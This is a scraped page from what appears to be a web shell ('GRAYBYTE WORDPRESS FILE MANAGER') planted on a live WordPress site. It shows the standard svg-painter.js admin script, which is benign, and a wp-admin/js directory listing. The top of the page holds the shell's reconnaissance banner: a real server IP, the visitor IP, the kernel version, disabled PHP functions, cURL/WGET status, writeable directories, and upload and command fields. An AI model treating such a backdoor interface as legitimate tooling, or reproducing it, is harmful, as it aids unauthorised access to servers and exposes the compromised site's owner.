GRAYBYTE WORDPRESS FILE MANAGER2782

Server IP : 149.255.58.128 / Your IP : 216.73.216.66
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/wheelch2/www.mobilityantalya.co.uk/wp-admin/js/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/wheelch2/www.mobilityantalya.co.uk/wp-admin/js//svg-painter.js
/**
 * Attempt to re-color SVG icons used in the admin menu or the toolbar
 *
 * @output wp-admin/js/svg-painter.js
 */

window.wp = window.wp || {};

wp.svgPainter = ( function( $, window, document, undefined ) {
	'use strict';
	var selector, base64, painter,
		colorscheme = {},
		elements = [];

	$( function() {
		// Detection for browser SVG capability.
		if ( document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' ) ) {
			$( document.body ).removeClass( 'no-svg' ).addClass( 'svg' );
			wp.svgPainter.init();
		}
	});

	/**
	 * Needed only for IE9
	 *
	 * Based on jquery.base64.js 0.0.3 - https://github.com/yckart/jquery.base64.js
	 *
	 * Based on: https://gist.github.com/Yaffle/1284012
	 *
	 * Copyright (c) 2012 Yannick Albert (http://yckart.com)
	 * Licensed under the MIT license
	 * http://www.opensource.org/licenses/mit-license.php
	 */
	base64 = ( function() {
		var c,
			b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
			a256 = '',
			r64 = [256],
			r256 = [256],
			i = 0;

		function init() {
			while( i < 256 ) {
				c = String.fromCharCode(i);
				a256 += c;
				r256[i] = i;
				r64[i] = b64.indexOf(c);
				++i;
			}
		}

		function code( s, discard, alpha, beta, w1, w2 ) {
			var tmp, length,
				buffer = 0,
				i = 0,
				result = '',
				bitsInBuffer = 0;

			s = String(s);
			length = s.length;

			while( i < length ) {
				c = s.charCodeAt(i);
				c = c < 256 ? alpha[c] : -1;

				buffer = ( buffer << w1 ) + c;
				bitsInBuffer += w1;

				while( bitsInBuffer >= w2 ) {
					bitsInBuffer -= w2;
					tmp = buffer >> bitsInBuffer;
					result += beta.charAt(tmp);
					buffer ^= tmp << bitsInBuffer;
				}
				++i;
			}

			if ( ! discard && bitsInBuffer > 0 ) {
				result += beta.charAt( buffer << ( w2 - bitsInBuffer ) );
			}

			return result;
		}

		function btoa( plain ) {
			if ( ! c ) {
				init();
			}

			plain = code( plain, false, r256, b64, 8, 6 );
			return plain + '===='.slice( ( plain.length % 4 ) || 4 );
		}

		function atob( coded ) {
			var i;

			if ( ! c ) {
				init();
			}

			coded = coded.replace( /[^A-Za-z0-9\+\/\=]/g, '' );
			coded = String(coded).split('=');
			i = coded.length;

			do {
				--i;
				coded[i] = code( coded[i], true, r64, a256, 6, 8 );
			} while ( i > 0 );

			coded = coded.join('');
			return coded;
		}

		return {
			atob: atob,
			btoa: btoa
		};
	})();

	return {
		init: function() {
			painter = this;
			selector = $( '#adminmenu .wp-menu-image, #wpadminbar .ab-item' );

			this.setColors();
			this.findElements();
			this.paint();
		},

		setColors: function( colors ) {
			if ( typeof colors === 'undefined' && typeof window._wpColorScheme !== 'undefined' ) {
				colors = window._wpColorScheme;
			}

			if ( colors && colors.icons && colors.icons.base && colors.icons.current && colors.icons.focus ) {
				colorscheme = colors.icons;
			}
		},

		findElements: function() {
			selector.each( function() {
				var $this = $(this), bgImage = $this.css( 'background-image' );

				if ( bgImage && bgImage.indexOf( 'data:image/svg+xml;base64' ) != -1 ) {
					elements.push( $this );
				}
			});
		},

		paint: function() {
			// Loop through all elements.
			$.each( elements, function( index, $element ) {
				var $menuitem = $element.parent().parent();

				if ( $menuitem.hasClass( 'current' ) || $menuitem.hasClass( 'wp-has-current-submenu' ) ) {
					// Paint icon in 'current' color.
					painter.paintElement( $element, 'current' );
				} else {
					// Paint icon in base color.
					painter.paintElement( $element, 'base' );

					// Set hover callbacks.
					$menuitem.on( 'mouseenter', function() {
						painter.paintElement( $element, 'focus' );
					} ).on( 'mouseleave', function() {
						// Match the delay from hoverIntent.
						window.setTimeout( function() {
							painter.paintElement( $element, 'base' );
						}, 100 );
					} );
				}
			});
		},

		paintElement: function( $element, colorType ) {
			var xml, encoded, color;

			if ( ! colorType || ! colorscheme.hasOwnProperty( colorType ) ) {
				return;
			}

			color = colorscheme[ colorType ];

			// Only accept hex colors: #101 or #101010.
			if ( ! color.match( /^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i ) ) {
				return;
			}

			xml = $element.data( 'wp-ui-svg-' + color );

			if ( xml === 'none' ) {
				return;
			}

			if ( ! xml ) {
				encoded = $element.css( 'background-image' ).match( /.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/ );

				if ( ! encoded || ! encoded[1] ) {
					$element.data( 'wp-ui-svg-' + color, 'none' );
					return;
				}

				try {
					if ( 'atob' in window ) {
						xml = window.atob( encoded[1] );
					} else {
						xml = base64.atob( encoded[1] );
					}
				} catch ( error ) {}

				if ( xml ) {
					// Replace `fill` attributes.
					xml = xml.replace( /fill="(.+?)"/g, 'fill="' + color + '"');

					// Replace `style` attributes.
					xml = xml.replace( /style="(.+?)"/g, 'style="fill:' + color + '"');

					// Replace `fill` properties in `<style>` tags.
					xml = xml.replace( /fill:.*?;/g, 'fill: ' + color + ';');

					if ( 'btoa' in window ) {
						xml = window.btoa( xml );
					} else {
						xml = base64.btoa( xml );
					}

					$element.data( 'wp-ui-svg-' + color, xml );
				} else {
					$element.data( 'wp-ui-svg-' + color, 'none' );
					return;
				}
			}

			$element.attr( 'style', 'background-image: url("data:image/svg+xml;base64,' + xml + '") !important;' );
		}
	};

})( jQuery, window, document );

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 20 2025 06:12:06
1032 / wheelch2
0755
widgets
--
May 21 2025 00:30:57
1032 / wheelch2
0755
.htaccess
0.124 KB
May 21 2025 00:30:57
1032 / wheelch2
0444
accordion.js
2.869 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
accordion.min.js
0.829 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
application-passwords.js
6.244 KB
September 18 2023 03:21:24
1032 / wheelch2
0644
application-passwords.min.js
2.953 KB
September 18 2023 03:21:24
1032 / wheelch2
0644
auth-app.js
5.66 KB
February 24 2021 01:15:04
1032 / wheelch2
0644
auth-app.min.js
2.035 KB
April 09 2022 00:37:18
1032 / wheelch2
0644
code-editor.js
11.316 KB
July 28 2020 04:05:02
1032 / wheelch2
0644
code-editor.min.js
3.011 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
color-picker.js
9.539 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
color-picker.min.js
3.404 KB
April 09 2022 00:37:18
1032 / wheelch2
0644
comment.js
2.844 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
comment.min.js
1.284 KB
April 09 2022 00:37:18
1032 / wheelch2
0644
common.js
58.041 KB
October 28 2023 00:37:22
1032 / wheelch2
0644
common.min.js
21.568 KB
October 28 2023 00:37:22
1032 / wheelch2
0644
custom-background.js
3.354 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
custom-background.min.js
1.178 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
custom-header.js
1.976 KB
February 24 2021 01:15:04
1032 / wheelch2
0644
customize-controls.js
286.462 KB
October 04 2023 19:42:28
1032 / wheelch2
0644
customize-controls.min.js
108.972 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
customize-nav-menus.js
105.908 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
customize-nav-menus.min.js
44.522 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
customize-widgets.js
70.023 KB
April 26 2022 11:24:10
1032 / wheelch2
0644
customize-widgets.min.js
27.398 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
dashboard.js
26.923 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
dashboard.min.js
8.591 KB
April 09 2022 00:37:18
1032 / wheelch2
0644
edit-comments.js
36.65 KB
September 27 2022 21:36:10
1032 / wheelch2
0644
edit-comments.min.js
14.989 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
editor-expand.js
41.608 KB
September 09 2021 03:59:58
1032 / wheelch2
0644
editor-expand.min.js
13.136 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
editor.js
44.254 KB
September 09 2021 03:59:58
1032 / wheelch2
0644
editor.min.js
12.866 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
farbtastic.js
7.665 KB
July 18 2023 02:33:26
1032 / wheelch2
0644
gallery.js
5.413 KB
October 10 2023 02:01:28
1032 / wheelch2
0644
gallery.min.js
3.653 KB
October 10 2023 02:01:28
1032 / wheelch2
0644
image-edit.js
38.205 KB
September 21 2023 22:34:16
1032 / wheelch2
0644
image-edit.min.js
14.296 KB
September 21 2023 22:34:16
1032 / wheelch2
0644
inline-edit-post.js
17.752 KB
November 09 2023 04:55:20
1032 / wheelch2
0644
inline-edit-post.min.js
8.224 KB
November 09 2023 04:55:20
1032 / wheelch2
0644
inline-edit-tax.js
7.614 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
inline-edit-tax.min.js
2.927 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
iris.min.js
23.089 KB
November 04 2021 01:10:00
1032 / wheelch2
0644
language-chooser.js
0.869 KB
February 24 2021 01:15:04
1032 / wheelch2
0644
language-chooser.min.js
0.413 KB
February 24 2021 01:15:04
1032 / wheelch2
0644
link.js
3.894 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
link.min.js
1.701 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
media-gallery.js
1.272 KB
February 24 2021 01:15:04
1032 / wheelch2
0644
media-gallery.min.js
0.597 KB
April 09 2022 00:37:18
1032 / wheelch2
0644
media-upload.js
3.384 KB
January 22 2021 18:02:04
1032 / wheelch2
0644
media-upload.min.js
1.125 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
media.js
6.39 KB
March 11 2022 00:13:02
1032 / wheelch2
0644
media.min.js
2.359 KB
April 09 2022 00:37:18
1032 / wheelch2
0644
nav-menu.js
50.089 KB
November 17 2022 23:45:20
1032 / wheelch2
0644
nav-menu.min.js
25.349 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
password-strength-meter.js
4.137 KB
January 22 2021 18:02:04
1032 / wheelch2
0644
password-strength-meter.min.js
1.097 KB
January 22 2021 18:02:04
1032 / wheelch2
0644
password-toggle.js
1.308 KB
June 24 2023 03:39:30
1032 / wheelch2
0644
password-toggle.min.js
0.827 KB
June 24 2023 03:39:30
1032 / wheelch2
0644
plugin-install.js
6.92 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
plugin-install.min.js
2.347 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
post.js
39.184 KB
October 10 2023 02:01:28
1032 / wheelch2
0644
post.min.js
18.613 KB
October 10 2023 02:01:28
1032 / wheelch2
0644
postbox.js
18.397 KB
January 10 2023 15:00:14
1032 / wheelch2
0644
postbox.min.js
6.548 KB
September 24 2022 00:25:30
1032 / wheelch2
0644
privacy-tools.js
10.654 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
privacy-tools.min.js
5.021 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
revisions.js
33.125 KB
January 29 2020 06:07:04
1032 / wheelch2
0644
revisions.min.js
17.448 KB
April 09 2022 00:37:18
1032 / wheelch2
0644
set-post-thumbnail.js
0.855 KB
July 07 2020 23:25:04
1032 / wheelch2
0644
set-post-thumbnail.min.js
0.605 KB
July 07 2020 23:25:04
1032 / wheelch2
0644
site-health.js
13.275 KB
September 25 2023 00:43:22
1032 / wheelch2
0644
site-health.min.js
6.153 KB
September 25 2023 00:43:22
1032 / wheelch2
0644
svg-painter.js
5.393 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
svg-painter.min.js
2.332 KB
April 09 2022 00:37:18
1032 / wheelch2
0644
tags-box.js
10.879 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
tags-box.min.js
3.005 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
tags-suggest.js
5.532 KB
April 07 2022 08:36:06
1032 / wheelch2
0644
tags-suggest.min.js
2.192 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
tags.js
4.773 KB
April 13 2022 00:07:14
1032 / wheelch2
0644
tags.min.js
1.965 KB
April 13 2022 00:07:14
1032 / wheelch2
0644
theme-plugin-editor.js
24.791 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
theme-plugin-editor.min.js
11.46 KB
September 24 2022 00:25:30
1032 / wheelch2
0644
theme.js
54.67 KB
August 19 2022 17:41:14
1032 / wheelch2
0644
theme.min.js
26.421 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
updates.js
93.276 KB
June 24 2023 08:52:26
1032 / wheelch2
0644
updates.min.js
40.645 KB
June 24 2023 08:52:26
1032 / wheelch2
0644
user-profile.js
13.778 KB
June 22 2023 05:02:22
1032 / wheelch2
0644
user-profile.min.js
6.129 KB
June 22 2023 05:02:22
1032 / wheelch2
0644
user-suggest.js
2.247 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
user-suggest.min.js
0.66 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
widgets.js
22.557 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
widgets.min.js
12.313 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
word-count.js
7.516 KB
July 28 2020 04:05:02
1032 / wheelch2
0644
word-count.min.js
1.494 KB
February 02 2023 22:06:32
1032 / wheelch2
0644
xfn.js
0.723 KB
March 19 2021 00:31:04
1032 / wheelch2
0644
xfn.min.js
0.447 KB
March 19 2021 00:31:04
1032 / wheelch2
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF